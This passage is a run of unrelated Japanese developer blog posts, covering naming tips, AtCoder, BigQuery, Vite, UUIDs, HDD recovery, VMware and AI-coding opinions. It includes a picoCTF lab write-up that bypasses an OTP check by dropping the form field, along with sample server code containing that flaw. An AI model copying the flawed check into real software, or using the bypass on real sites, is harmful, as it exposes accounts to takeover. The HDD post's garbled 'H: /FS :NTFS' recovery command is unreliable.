      "id": "...",
      "text": "こんにちは"
    },
    "timestamp": 16xxxxxxxxxxx,
    "source": {
      "type": "user",
      "userId": "Uxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"  // これがuserId
    },
    "replyToken": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
    "mode": "active"
  }
]
```

### 5.　まとめ
いかがでしょうか、以上がLINEのuserIdの取得方法です。
結構簡単に取得できて助かりました。
命名レビューでトラウマ植え付けられてそうな新人に贈る処方箋

# はじめに

新人エンジニアのアナタがコードレビューで一番指摘されているのは「命名」に関することじゃなかろうか？  
「この命名イケてないね」や「なんでこの命名にしたの？」なんて指摘を何往復もして、
「命名ごときでゴチャゴチャと吐かしてんじゃないｯ！」って腸が煮えくり返る気持ちになっていることだろう。  

でも実は、**命名こそがコードの要**。
仕様を忘れた未来の自分、コードを読む同僚、保守を任された後輩──
彼らが最初に頼るのが「名前」なんです。

逆に言えば、**命名をミスると全員が地雷を踏む。**

命名は単なる飾りじゃなくて、コードの意味や意図を伝える大事な要素。  
未来の自分やチームメンバーが理解しやすい名前をつけるための考え方をまとめてみた。


# ❌ NG命名①：「check」は曖昧すぎる（メソッド名編）

メソッド名に「check」を使っていると、**何をチェックして何を返してるのか**が曖昧になりがち。

```php
public function checkUserStatus(User $user): bool 
{
  // ユーザーのステータスを確認する処理
}
```

これ、true なら「OK」なの？ 「NG」なの？
どういう条件で true なの？──読まなきゃわからん！

# ⭕ もっと語らせよう

状態を返すなら `is` や `has` を。
判定を返すなら `can` や `should` を使おう。

```php
public function isUserActiveStatus(User $user): bool {}
public function canUserEditItem(User $user, Item $item): bool {}
```

メソッド名で**意図が語られていれば**、中身を開かなくても意味がつかめる。
読み手ファーストな名前づけを心がけよう。

---

# ❌ NG命名②：dataとかinfoとかlistとかつけるな（変数名編）

変数名でありがちな「data」や「info」や「list」。
一見それっぽいけど、**何を表すデータなのかがまったく伝わらない**。

```php
$data = getData();     // 何のデータ？
$info = getInfo();     // どんな情報？
$list = getList();     // 何の一覧？
$array = getArray();   // 配列型であることを言われましても……
```

もちろん、前後のコードを読めば「これは〇〇のデータかな？」と推測はできる。
けど、それって**読み手に余計な負荷をかけてる**だけ。

命名は「読めばわかる」じゃなくて、「見ただけでわかる」が正義だ。

# ⭕ 生きた名前に変えよう（複数形も意識）

```php
$userProfile = getUserProfile();       // ユーザーのプロフィール
$orderItems = getOrderItems();         // 注文に紐づくアイテム一覧
$availableProducts = getAvailableProducts(); // 購入可能な商品一覧
```

特にリストや配列を表す変数は、`List` や `Array` と名前につけるより、**意味のある名詞＋複数形で表現したほうがはるかに伝わる**。

```php
$users = getActiveUsers();        // アクティブなユーザーたち
$categories = getVisibleCategories();  // 表示対象のカテゴリたち
```

「複数形で書けるものは、それだけで“リストっぽさ”が伝わる」。
**データ構造ではなく、意味を語る命名**を心がけよう。

---

# ❌ NG命名③：「not」は読む人を混乱させる（否定形は罠）

```php
function isNotVerified(User $user): bool {}
```

この命名、「not」が入った瞬間に読みにくさ爆増。
`if (!isNotVerified())` みたいに**二重否定**になったとき、混乱はピークに。

```php
if (!isNotVerified($user)) {
  // ……え、これは verified ってこと？ not verified ってこと？
}
```

# ⭕ 肯定形でストレートに伝えよう

```php
function isVerified(User $user): bool {}
function isGuest(User $user): bool {}
function isUserSuspended(User $user): bool {}
```

**肯定形にすれば、素直に読める。**
読みやすさを最優先にしよう。



# 💡 命名の心得：語らない名前に未来はない

命名で迷ったときは、以下のポイントを思い出してほしい：

* **「check」は脳死。is / can / has などで意図を明確に。**
* **「data」「info」「list」など中身のない単語に逃げない。**
* **「not」など否定形より、肯定形でシンプルに伝えよう。**
* **略語を避け、できるだけ意味のある単語で。**
* **「見ただけで意味がわかる」名前をつけよう。**

命名はセンスじゃない。思いやりと設計力だ。



# 🎓 まとめ：沈黙するコードより、しゃべるコード

命名は、コードの最前線。
**そこに妥協があると、全体がボヤける。**

* 命名が読みやすければ、コード全体の理解スピードが跳ね上がる
* 命名が曖昧だと、レビューも実装も地獄になる

📢 **命名は甘えず、語らせろ。未来の自分を助けるのは、今の名前だ。**
[writeup] picoCTF "IntroToBurp"

# 今回の問題
picoCTFより"IntroToBurp"を解いていきます。

# 実際に解いていく
### 1. 問題文にあるWebサイトに移動する
![IntroToBurp_1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/5307358e-e343-48c7-ac6f-3c154a79bbf8.png)
名前や電話番号などの入力フォームがあります。
ただそれだけのようです。

### 2. Webサイトを探索する
![IntroToBurp_2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/2eda0f96-70e2-41eb-9424-59024560154c.png)
![IntroToBurp_3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/3507775c-cbd4-4e7e-9988-a71fe4ed35f9.png)
名前や電話番号などを適当に入力→二段階認証→「Invalid OTP」になってしまいました。
ソースコードも見ましたが、特に怪しいところは見つかりませんでした。
気になるのは、この問題のタイトル。つまり、IntroToBurp の  Burp の部分。
Burp?→Burp Suite!

早速、BurpSuiteを使って、サーバーとの通信内容を確認します。
（Web上のデベロッパーツールでも見ることができるけどね）

### 3. BurpSuiteでHTTPリクエストとレスポンスを確認する
![IntroToBurp_4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/6821aeec-1a7c-4c48-97eb-95aa45c7315a.png)
BurpSuiteでサーバーとの通信内容の履歴を見てみます。
すると、一番上のPOSTメソッドのリクエスト内容に注目です。
otp=otp(←自分が入力したものが入っている) が怪しいですね。
この部分を、何かすればFLAGが見つかりそうです。

### 4. HTTPリクエストの内容を変えて送信する
![IntroToBurp_5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3945501/d446ed5a-a1c5-45cf-89f1-130e78d31b72.png)
otpを数字にしたり、文字にしたり...
しかし、一向にFLAGは返ってきません。そもそも、返ってくる内容に何も変化がありません。
そこで、otp自体を削除してリクエストを送信してみます。
すると、FLAGが返ってきました！
これにてFLAG獲得です。お疲れ様でした。

# もう少し考えてみる
otpの値を変えるのではなく、otp自体を削除すると、FLAGを獲得することができました。
それはなぜなのか？
原因はおそらく、サーバー側のロジックのエラーだと考えられます。数字でも文字でも返ってくる内容が同じなのも怪しいです。

サーバー側のロジックを推測していきます。
otpが不正解→Invalid OTPを返して終了。
otpが正解→何もしない。最後のreturnでFLAGを返して終了。
otpが存在しない→そもそもotpの検証を行わない。最後のreturnでFLAGを返して終了。

以上より、今回のサーバー側のロジックは以下のようになっているのではないでしょうか。
```python
@app.route('/dashboard', methods=['POST'])
def dashboard():
    otp = request.form.get('otp')

    if otp:  # 値が存在する場合のみチェック
        if not is_valid_otp(otp):
            return 'Invalid OTP'

    # ここに来る = OTPが空なら無条件通過
    return render_template('flag.html', flag=FLAG)
```
これなら、otpが存在しないときにFLAGが返ってくることに納得できますね。
これにて終了です。

# まとめ
今回の問題は、フォーム（otp）を消して送信するだけで通ることができました。
おそらく、サーバー側のロジックに何らかのバグがあったのでしょう。

# 補足
・otpとは？
→One-Time Passwordの略称。似たようなものに、2fa(Two-Factor Authentication)とかもある
ABC023 D - 射撃王 を解いてみました

https://atcoder.jp/contests/abc023/tasks/abc023_d


まず、大まかな方針としては、どの風船もある程度低い高さで割るというものになります。
しかし、全探索などでは制約が大きいため、実行時間が長くしてしまいます。
なので、実行時間を短くする方法を考えます。

そうすると、問題文が次のように言い換えられることがわかります。

:::note info
「すべての風船をx以下の高度で割れるか」を二分探索して答えを求めなさい。
:::

(このように言い換えられることは、制約が $1 \leq N \leq 10^5$ であるから二分探索かなという思いつき方などがあるでしょう。)

言い換えることができればあとはこれを実装するだけです。

~~~C++
#include <bits/stdc++.h>
using namespace std; using ll = long long;

signed main(void){
  int n;
  cin >> n;
  vector<ll> h(n), s(n);
  for(int i = 0; i < n; i++){
    cin >> h[i] >> s[i];
  }
  
  ll left = 0, right = (1LL << 60), mid;
  while(left +  1 != right){ //二分探索
    bool ok = true; //x以下ですべて割れるかを記録するbool
    mid = (left + right) / 2;
    
    vector<ll> a(n);
    
    for(int i = 0; i < n; i++){
      if(mid < h[i]) ok = false;
      
      a[i] = (mid - h[i]) / s[i];
      //a[i]秒までに割れれば基準より低い高さで割れる
      //というようなa[i]を求める
    }
    
    sort(a.begin(), a.end());
    
    for(int i = 0; i < n; i++){
      if(a[i] < i) ok = false;
      //割るのが間に合わなかった場合
    }
    
    if(ok) right = mid;
    else left = mid;
  }
  
  cout << right << endl;
}
~~~
Stream Firestore to BigQueryにて、パーティションを設定し間違えたのちに、パーティションを再設定しようとして苦しんだ話

# 3行で
* テーブル名を変更したくない人はこの記事。変更しても大丈夫な人は作り直しでおｋ
* サーバレス環境だが、パイプラインの途中止めていい感じにメンテするということができなかった
* 間違えるな（めんどくさいから）



# 概要

* Stream Firestore to BigQueryという便利なFirebase Extentionsがある
    * Firestoreの対象のコレクションの書き込みをトリガー → Eventarc → Cloud Functions(Cloud Run) → BigQuery
    * 上記流れでパイプラインをほぼ自動で用意してくれる便利なやつ
* プロジェクト初期に導入した。当時何も考えずインストールしたので、パーティションを**年**で設定した
* データパイプラインのタスクが増えていく中で、クエリの課金量なんか高くない？？って思って内訳みたら、上の設定したことを思い出した
* じゃあ、パーティション設定しなおそうね（沖縄風）って腰をあげて作業したのがことの始まり

# 調査開始

## パーティションの分割基準をあとから変更することはできる？

できない

END

## 愚直なやり方を思いつく

1. CTEを使って移行元のテーブルのデータから新規でテーブルを作る
1. 移行元のテーブルを`_bk`とかつけてRENAMEする
1. 移行先のテーブルを移行元のテーブル名にRENAMEする

```sql
CREATE TABLE `project-id.dataset-id.collection_name_raw_changelog_移行先`
PARTITION BY
  DATE(timestamp)  -- timestamp列の日付部分でパーティション分割
OPTIONS (
  description = 'collection_name table partitioned by day'
  -- 必要に応じて他のオプション (ラベルなど) を追加
) AS
SELECT
  timestamp,
  event_id,
  document_name,
  operation,
  data,
  old_data,
  document_id
FROM
  `project-id.dataset-id.collection_name_raw_changelog`;

-- (推奨) 古いテーブルをバックアップとしてリネーム
ALTER TABLE `project-id.dataset-id.collection_name_raw_changelog`
RENAME TO `collection_name_raw_changelog_bk`;

-- 新しい日次パーティションテーブルを元のテーブル名にリネーム
ALTER TABLE `project-id.dataset-id.collection_name_raw_changelog_移行先`
RENAME TO `collection_name_raw_changelog`;
```

完璧だ！！！！


## だめでした

`Cannot rename A:B.C because it has streaming data.` みたいなエラーがでる

調べてみたら、ストリーミングバッファにデータが書き込まれている状態でrenameはできないとのこと。そうか


# ストリーミングバッファを空にする方法を探す

強制的にはできないとのこと

# ストリーミングバッファが空になるタイミングを見極める

日中はトリガーされまくなので深夜帯じゃないと不可能

# ストリーミングするCloud Run（Firebase Extentions）を止められないか考える

* 無効化ができない（削除のみ）
* Eventarcよくわからない（PubSubを拡張したなにかと思って無効化できないか探したけどよくわからない）
* Cloud Runのソースコード無理やり書き換えてエラー出力するようにしたがストリーミングバッファが空になるタイミングが最大90分らしいので待てない


辛い

# 次なる手

同じテーブル名を使いまわしたいだけなので、そもそもテーブル名変更すればどうとでもなるんですが、参照するコードが多かったので避けたかった。というわけでこうしました


1. `Stream Firestore to BigQuery` をアンインストール
1. CTEを使って移行元のテーブルのデータから新規でテーブルを作る
1. 移行元テーブルを削除
1. 2のテーブルをRENAME
1. 拡張機能インストール
1. 移行作業中のFirestoreのドキュメントをPythonスクリプトで取得して更新（updated_atを上書きするなどで）
    1. 再度トリガーが走るのでBigQuery側へSyncされる

## 結果は？

これでいけました

# 雑感

まちがえないで
[初心者]React × Viteで環境構築 

# はじめに
この記事では、**React** というライブラリと、**Vite** という開発ツールを使ってアプリ開発を行うための環境構築についてまとめています。

# 開発に必要なもののインストール
まずはNode.jsがインストールされていることを確認しましょう。
```bash:bash
node -v
npm -v
```
コマンドを実行してバージョンが表示されればOKです。表示がなければ[Node.js公式サイト](https://nodejs.org/ja)からインストールしてください。

# ViteでReactアプリを作成
以下のコマンドでプロジェクトを作成します。
```bash:bash
npm create vite@latest my-react-app --template react
```
`my-react-app`の部分は好きなプロジェクト名に変えて大丈夫です。

# 依存関係をインストール
作成したプロジェクトフォルダに移動します。
```bash:bash
cd my-react-app
```
必要なパッケージをインストール
```bash:bash
npm install
```
これで、ReactとViteに必要なパッケージがインストールされます。

# 開発サーバーを起動
プロジェクトが作成出来たら、開発サーバーを起動してブラウザで確認します。
```bash:bash
npm run dev
```
ブラウザを開いてReactの初期画面が表示されたら成功です。

# まとめ
これでReact + Viteの環境構築の完成です。
以下、手順のおさらい
1. Node.jsのインストール
2. ViteでReactのプロジェクトを作成
3. 必要なパッケージをインストール
4. 開発サーバーを起動
macOSのコマンドラインでUUIDv4文字列を生成するいくつかの方法

## 1. uuidgenコマンドを使用する

大文字出力

```sh
uuidgen
```

小文字出力

```
uuidgen | tr '[:upper:]' '[:lower:]'
```

## 2. Pythonのuuidモジュールを使用する

大文字出力

```sh
python3 -c "import uuid; print(str(uuid.uuid4()).upper())"
```

小文字出力

```sh
python3 -c "import uuid; print(uuid.uuid4())"
```

## 3. Node.jsのcryptoモジュールを使用する

大文字出力

```sh
node -p "crypto.randomUUID().toUpperCase()"
```

小文字出力

```sh
node -p "crypto.randomUUID()"
```

thx @ssssota

## 4. RubyのSecureRandomクラスを使用する

大文字出力

```sh
ruby -rsecurerandom -e 'puts SecureRandom.uuid.upcase'
```

小文字出力

```sh
ruby -rsecurerandom -e 'puts SecureRandom.uuid.downcase'
```

## 5. SwiftのFoundationフレームワークを使用する

大文字出力

```sh
swift -e 'import Foundation; print(UUID().uuidString)'
```

小文字出力

```sh 
swift -e 'import Foundation; print(UUID().uuidString.lowercased())'
```

## 補足

* 他にもよい方法があれば追記していきます。
棚からHDDを落としてcmdを用いてフォーマットなしで復旧した件について

諸々訂正したり追記しました 2025/05/14

自身の忘備録の為の記録でもある。↓


要約するとRAW化されたHDDをコマンド叩いてフォーマットせずにNTFSにしたよーって記事。


## 状況（三行）

・掃除中に棚から外付けHDDを落とした
・状態確認した所、PCに繋いでも認識しなくなっていた
・ディスク管理画面上ではファイルシステムがRAWになっていた。

## HDDの状態を確認する手順

Win+X→ディスクの管理へ遷移すると、HDDの状態が分かる。
ファイルシステムという項目が現在の状態を指していて、新たに外付けＨＤＤを増設した場合もこの画面で割り当て先を設定出来たりする。
この状態が”ＲＡＷ”になっていたらＨＤＤが初期化されてる状態。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3808176/922489b6-f81a-4226-b6fc-e177366185ab.png)


## 復旧手順

何らかの原因でHDDがRAW状態になった際の復旧手順を記載する、必ずしも毎回この手順で再現出来るとは限らないので悪しからず。
今回はフォーマットなしで復旧する手順を記載。



cmdにてコマンドを実行する
特にどのパスで実行などの条件もない、ただcmd開いてそのまま叩けば実行される。

```
H: /FS :NTFS
```
Hはドライブ名を指定している、ドライブ名によってコマンドを修正し実行すること。

![GqQTZXpbAAEXRWm.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3808176/e0a45292-a67b-4201-aea4-df0d7be1d8c6.png)


もう一つ、復旧方法として下記コマンドでも復旧できる（らしい）
```
chkdsk /X /F Z:
```
Zはドライブ名を指定している。
chkdskコマンドの解説↓
https://learn.microsoft.com/ja-jp/windows-server/administration/windows-commands/chkdsk?tabs=event-viewer

こっちの方が分かりやすいかも↓
https://jp.minitool.com/lib/chkdsk.html


コマンド叩いてダメだったら諦めてフォーマットするしかなさげ。
または復旧ソフトを使用すればデータを飛ばさずに解決できるらしい↓
https://my-best.com/6476


## 予備知識：外付けHDD等のファイルシステムについて


ファイルシステムという名のファイルの状態のようなもの。
主にFAT、HPFS、NTFSが使われている。

### FAT

USBとかは大体これになってる、FAT32とか。最近のUSBも大容量化してきたので、NTFSでフォーマットする事が多い。
Windows NTで採用された単純なファイルシステムで、ファイルアロケーションテーブル（FAT）によって管理される。
ディスクはクラスター単位で割り当てられ、FATの更新が遅いとデータ損失のリスクがある。
構造は整理されておらず、基本的なファイル属性のみが利用可能。

FATの利点： FATはシンプルなファイルシステムで、小容量ドライブ向けに最適。オーバーヘッドが少なく、軽量で動作が速い。MS-DOSとの互換性が高く、古いシステムや組み込み機器で広く利用される。

FATの欠点： FATは200MB以上のドライブでは性能が低下し、4GBが最大サイズ制限。アクセス権設定ができず、セキュリティ面が弱い。断片化しやすく、大容量ストレージには不向き。


### HPFS

HPFS（High Performance File System）は、OS/2 1.2で導入されたファイルシステムで、大容量ドライブに対応。
FATの構造を拡張し、ディレクトリの自動並べ替えや長いファイル名をサポート。物理セクター単位の割り当てで、ディスク領域の効率化を実現。

HPFSの利点：大容量ストレージに対応し、ディレクトリの自動並べ替えや長いファイル名をサポート。物理セクター単位での割り当てにより、ディスク領域の効率化を実現。バンディング技術により、ファイルアクセス速度を向上させる。

HPFSの欠点： HPFSはOS/2専用であり、Windowsではネイティブにサポートされていない。ディスク障害時のデータ回復が難しく、ファイルシステムの修復が困難。FATと比較して、システムオーバーヘッドが大きく、リソースを消費しやすい。

### NTFS

NTFS（New Technology File System）は、Windowsの標準ファイルシステムで、セキュリティや信頼性が向上。FATやHPFSと異なり、ハードウェアに依存せず、柔軟なデータ管理が可能。アクセス制御や暗号化機能を備え、大容量ストレージに適している。


NTFSの利点：NTFSは、大容量ストレージに最適で、ボリュームサイズが大きくなっても性能が低下しない。ファイルシステムの回復機能が組み込まれており、修復ユーティリティなしで復旧可能。セキュリティ機能が充実し、アクセス制御が可能。

NTFSの欠点： NTFSは小容量のストレージではオーバーヘッドが大きく、約400MB未満では非推奨。ファイル暗号化機能がなく、低レベルのディスク編集でデータが閲覧可能。フロッピーディスクのフォーマットには対応していない。


### RAW

主にファイルシステム（NTFSやFAT32など）が破損し、パソコンが正常に認識できなくなった状態

キャプチャ取るの忘れてたので拾い画、こんな感じのが出る↓

![挿入画像１.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3808176/07c26c54-abc5-4c63-9593-a9b8e24b4c1f.png)
VMware vSphere まとめ

# はじめに
参画前にVMwareについて用語をまとめました。


# 仮想化とは
まず、VMwareについてまとめる前に仮想化についてのおさらいをします。
仮想化とは、**コンピュータ上で複数の仮想環境を作り出す技術のこと**です。

### 仮想化の利点
まず、1つ目は**1台のハードウェアで複数のOSを動作させられる点**です。
物理的なコンピュータを複数台用意する必要がなくなりコストやスペースの節約ができます。

次に、仮想環境は相互に影響を与えることなく独立して動作するため**セキュリティや信頼性の向上**にもつながります。
さらに、仮想化されたハードウェアはソフトウェアによって自由に設計できるため**柔軟性の高いシステムの構築**にもつながります。

仮想技術がなかった時にはハードウェアのスペックが余ってしまうこともありましたが、仮想化技術を用いることでハードウェアのスペックの無駄をより少なくできるようになりました。

# VMware vSphere
VMware製品の中で主力製品である**VMware vSphere**についてまとめます。
まず、VMware vSphereを使えば、**可用性に優れた仮想化環境を比較的簡単に構築すること**ができます。その中でも代表的な機能を2つ紹介します。

### VMware vSphereの代表的な機能
VMware vSphereの代表的な機能として以下の2つを挙げます。

* スナップショット
* シックプロビジョニングとシンプロビジョニング

### スナップショット
まず、スナップショットとは**その時点での仮想化マシンの状態とデータを保存できる機能**です。
状態ごとに複数の仮想マシンを作成したくないという場合や未知の障害、有害な効果が発生する可能性のあるソフトウェアをテストするために、一時的なバックアップとして活用できます。

### シンプロビジョニングとシックプロビジョニング
VMware環境で仮想マシンを作成する工程において、必要なリソースを割り当てるフェーズがあります。ストレージの割り当て方は以下の2種類があります。

### シンプロビジョニング
シンプロビジョニングは仮想ディスク作成時には**最低限の記憶領域のみ確保し、利用した分だけの容量が消費されます**。
例えば、仮想ディスクを100GBで作成しても実際には20GBのみ使用した場合20GBしか消費されません。
このように、**利用した分のみ容量を消費するため効率的にディスクを利用すること**ができます。
また、必要に応じて容量を後から増やすことも可能で**サイジングに時間をかけずに済むこと**もメリットの1つです。


### シックプロビジョニング
シックプロビジョニングは仮想ディスク作成時に**指定したサイズ分の記憶領域を確保**します。
そのため、シンプロビジョニングを比べて、**初回の割り当てに時間はかかりますが、展開後のマシンのパフォーマンスは高く、処理効率を求められる業務には最適**です。

シンプロビジョニングと比べて、**データを書き込むためのストレージ領域がすでに確保されているため書き込み遅延が発生しない**というメリットがあります。
しかし、逆に**利用していない領域ディスクを消費してしまうため、効率的なディスク利用には向いていません**。


# VMware vSphereの主なコンポーネント
VMware vSphereの主なコンポーネントである、ESXi、vCenter Serverについて簡単に説明します。


# ESXi
ESXiは、VMware社が提供する**ハイパーバイザーの一種で、物理マシンにインストールして仮想マシンを実行するためのソフトウェア**です。ESXiを使用することで、1台の物理マシン上で複数の仮想マシンを同時に動作させることが可能になり、**リソースの効率的な利用やコスト削減**に繋がります。﻿


# vCenter server
vCenter Serverは、VMware社が提供する**仮想化環境を統合管理するためのソフトウェア**です。vSphere環境の管理一元化、仮想マシンのライフサイクル管理、リソース監視、自動化などを実現します。**複数のESXiホストを単一の管理インターフェースから操作でき、大規模な仮想環境でも効率的な運用を可能**にします。
<br>

:::note info
### 特徴
* 仮想マシンのCPUやメモリ、ネットワーク帯域などのリソースをGUIで視覚的に行える
* ストレージの使用率やストレージへのアクセス、サービスごとのCPU使用率などを数値で管理ができる
* 電源のオン、オフやリソース管理などを一括で行える
* インポートやエクスポートによって移行作業を容易に行える
* VMのリソース使用率やOSの状態、vMotionの実行状況などをチェックし、一定以上のリソース使用時やエラー発生時には、アラームで通知できる
:::


### vCenter Serverを利用した主な機能
vCenter Serverを利用した主な機能を紹介します。
#### vMotion
**仮想マシンを停止させることなく別のホストへ移動させる機能**です。
主に、ESXiのメンテナンス、リソース管理や障害対策のために利用します。
前提として、仮想マシンを移動する前後のホスト間で共通のデータへのアクセスが必要です。

#### Storage vMotion
**仮想マシンを停止させることなく、仮想マシン上のディスクを異なるデータストアに移動させる機能**です。
ただし、**上記のvMotionとは異なり、ホストに変更は行われません**。
ストレージ装置のメンテナンス時やデータ移行に利用できます。


#### vSphere HA
**仮想化環境での高可用性を実現するための機能**です。
ゲストOSやホストに障害が発生した際に、自動的に障害を検出し、障害の影響を最小限に抑えるために仮想マシンを別のホストに移動し稼働させます。
これにより、アプリケーションの停止時間を短縮し、ビジネスの継続性を確保します。


# クラスター
VMwareにおけるクラスターとは、**複数のESXiホストを論理的にグループ化し、それらを協調動作させる仕組みのこと**です。これにより、仮想マシンをより効率的に管理し、クラスター内のホストは連携して、仮想マシンの障害発生時の自動再起動（vSphere HA）、リソースの最適化（vSphere DRS）、高可用性、負荷分散などを実現します。﻿

***
以上、VMwareについてまとめました。


# 参考文献
[仮想化とは？VMwareの機能や仕組みについて分かりやすく紹介](https://www.isfnet-services.com/blog/135/about-vmware#6569754f94cd6a4b74128a1c-1701413251410)
なぜPythonはAIコーディングの王者なのか：最速開発を実現する言語選び

ちょっとした秘密を教えましょう。AIはPythonが大好きです。これはただの好みではなく、AIが学習してきた膨大なコードデータの中で、Pythonが圧倒的に多くを占めているからです。特にGPT-4oやClaude 3、Gemini 1.5などの最新LLM（大規模言語モデル）は、GitHubやKaggle、Stack Overflowといったリソースから豊富なPythonコードを学習しています。

そのため、AIによるPythonコード生成は非常に高精度で、しかも構文的にも自然です。AIが生成するPythonコードは、ほとんど修正を必要とせず、即座に実行可能なケースも多いのが特長です。バックエンドAPIやAIエージェントの開発において、Pythonを選ぶだけで開発スピードが数十倍、場合によっては100倍に加速することもあります。

さらに、PythonにはFastAPI、Flask、Djangoなどの強力なWebフレームワークがあり、AIがこれらに関しても高い精度でコードを生成できます。特にFastAPIとの組み合わせは、API開発において非常に効率的です。

ただし、Pythonはクライアントサイドで動作するインタラクティブなWebアプリには不向きです。リアルタイムなUI更新やSPA（シングルページアプリケーション）には向かず、DjangoのテンプレートやHTMXなどでサーバーサイドレンダリングを使うのが限界です。インタラクティブなWebアプリを構築したい場合は、JavaScriptなどのフロントエンド言語との組み合わせが必要になります。

次点の言語はJavaScriptです。特にReact、Next.js、Node.jsといった成熟したフレームワークは、AIの学習対象としても豊富に含まれており、精度の高いコードが生成されやすい傾向にあります。しかし、JavaScriptでは複雑なロジックやアプリ構成になると、生成コードの品質が不安定になることがあります。

さらに注意したいのは、QwikやSolidStart、Astroのような新興フレームワークです。これらはまだAIの学習データとしては少なく、正しい構文やコンフィグが生成されないケースが多発します。デバッグに時間がかかり、結果として開発速度が落ちるリスクもあります。

その中でバランスが良いのがSvelteやSolidJSです。これらは比較的新しくも、ある程度学習データに含まれており、モダンかつ生成精度もそこそこ期待できます。とはいえ、Pythonに比べればまだ差があり、仮にPythonで100倍の開発効率があるとすれば、JavaScriptでは20～50倍程度が現実的です。

それ以外の言語では、Java、Go、PHPが中間層に位置します。JavaとGoはバックエンド用途で根強い人気があり、AIのコード生成も安定していますが、Pythonのような柔軟性には欠けます。PHPは過去の大量のコードがAIの学習に使われているため、ある程度の精度で生成されますが、モダンな開発にはやや不向きです。

Rustは近年人気が高まっていますが、所有権モデルやコンパイル要件が厳しく、AIにはまだ難易度が高い言語です。Rustコードの生成は平均的で、しばしばエラーやコンパイル不備が生じ、手作業での修正が必要になります。

RubyやScalaはさらに精度が落ちます。これらの言語は現在の主流から外れつつあり、AIの学習データとしても少ないため、生成されるコードも未完成だったり、エラーを含むケースが目立ちます。

モバイル開発においては、Swift（iOS）とKotlin（Android）がある程度対応可能です。基本的な構文やUIコンポーネントは生成できますが、SwiftUIやJetpack Composeなどの最新アーキテクチャは難しく、手作業での補完が必須になります。

✅ 結論

もしあなたが最速でアプリケーションを市場に出したいと考えているなら、Pythonを選ぶことが最も賢明な選択です。正確で高速、かつAIとの相性も抜群です。フロントエンドに動的なUIが必要な場合は、SvelteやSolidJSと組み合わせることで、スピードとUXのバランスが取れた構成になります。Rustはパフォーマンスが求められる一部の領域で活躍するでしょう。

⸻

🔗 Zenn版（技術解説あり）はこちら：
👉 https://zenn.dev/ken1618/articles/7cd623cd9e56df

🌐 英語オリジナル（Medium）はこちら：
👉 https://medium.200ok.io/why-python-is-the-king-of-ai-coding-0c7433c4abb1
【ChatGPT】を使って、効率的な学習方法で効率的に学ぶやり方です。


　どうも、カーブミラーです。

　今回は、ChatGPTを使って、効率的な学習方法で効率的に学ぶやり方です。

:::note info
本記事は、ChatGPT（Plus版）
で行なっております。
画像はありません。あしからず。
:::
　ChatGPT等の動作状況を知らせる
　　OpenAIのステータスページ。
　　　[OpenAIステータス](https://status.openai.com/)
***
　こちらも載せますね。
　　[ChatGPTが使えない？ログインできない・反応しない原因やエラー時の対処法を解説](https://aismiley.co.jp/ai_news/chatgpt-error-resolution-explanation/)
***
　著作権法については
　　こちらを参照するのが
　　　良いのではないかと。

　文化庁レポートをもとにした
　　著作権法についての動画（約20分）
　　　[かいちのAI大学　【警告】ChatGPTの画像生成は危険です...【4o Image Generation】](https://youtu.be/8VLUnG-iyo0?si=rAfjMboqmNqppDGq)
***
　では、【本題】です。

　今回は、
　　ChatGPTを使って、
　　　効率的な学習方法で
　　　　効率的に学ぶやり方です。

　こちらの記事を参考にしました。

　[知性を高めるためには「わからない」状態が必要](https://bookplus.nikkei.com/atcl/column/031200480/031200004/index.html?n_cid=nbpbkp_twed&twclid=26q9br1vw9rjoekak30ujnkvxb)

　これまで、私たちは
　　次のようなことを
　　　信じてきました。

　　・たくさん勉強すれば、
　　　　それだけ覚えられる。

　　・理解しやすい内容ほど
　　　　記憶に残る。

　　・「わからない」状態は
　　　　避けるべき。

　　・忘れるのは悪いこと。

　　・早く覚えるには
　　　　一度に一つずつやるべき。

　これらが
　　完全に悪い、とは言えませんが、
　　　上記の記事が示す内容によれば
　　　　間違っていることになります。

　ここでは、
　　上記記事を信じて、
　　　ChatGPTを使った
　　　　学習法を示します。

　まずは、
　　記事の要約です。

***
***（ChatGPT記事要約）***
この記事は、デビッド・ロブソン著『知性の罠　なぜインテリが愚行を犯すのか』の一部を紹介しながら、「効率的な学習方法」について最新の科学的知見をわかりやすく説明しています。以下にポイントをかんたんにまとめました。


### 【要約：効率よく学ぶには「わからない」がカギ】

#### ■ 実験でわかった「分散学習」の効果

イギリス郵便公社の研修では、

* **1日4時間の集中研修**より、
* **1日1時間を何日にも分ける研修**の方が
  少ない時間でスキルをマスターでき、記憶にも長く残りました。

これは「一度忘れて思い出す」ことが記憶を強化するためです。


#### ■ 「望ましい困難」とは？

一時的にうまくいかないように見えることが、実は効果的な学習につながる現象のこと。

* 難しい教材や、あえて解けない問題を解かせる
* 事前に知識がない状態でテストをする
* 教科書をわかりやすくしすぎない（少し混乱を与える）

こうした工夫が、**本当に使える知識**を身につけるために重要なのです。


#### ■ 教訓：すぐに楽に感じる学びは、長期的には非効率

「わからない」や「苦しい」は悪ではなく、**本当の学びの入り口**。
ただし、多くの人は楽に感じる方法を好むため、正しい学習法が広まらないのが現実です。


このように、\*\*「わかりにくさ」「難しさ」「フラストレーション」\*\*を避けるのではなく、うまく活かすことが、賢くなる鍵だということが紹介されています。
***

　次が
　　ChatGPTを使った学習法です。

***（ChatGPT学習法）***
もちろんです。以下は「科学的に効果がある学習法」と**ChatGPT**を組み合わせた活用法です。スケジュールではなく、「やり方」の工夫に焦点を当てています。


## 【ChatGPT × 科学的学習法：6つの実践アイデア】

### 1. **分散学習 × ChatGPT**

> 「一気に勉強」より「間を空けて繰り返し」が◎。

**活用法：**
ChatGPTに「前回の要点をクイズ形式で出して」と頼む。時間を空けて解きなおすことで、忘れかけた記憶を強化できます。


### 2. **インターリービング × ChatGPT**

> 「一つずつ連続」より「交互にまぜる」が効果的。

**活用法：**
ChatGPTに「3分野の問題を交互に出して」と指示。例：「英語・数学・歴史を交互に練習問題にして」。理解が浅いと混乱するが、それが脳への刺激になります。


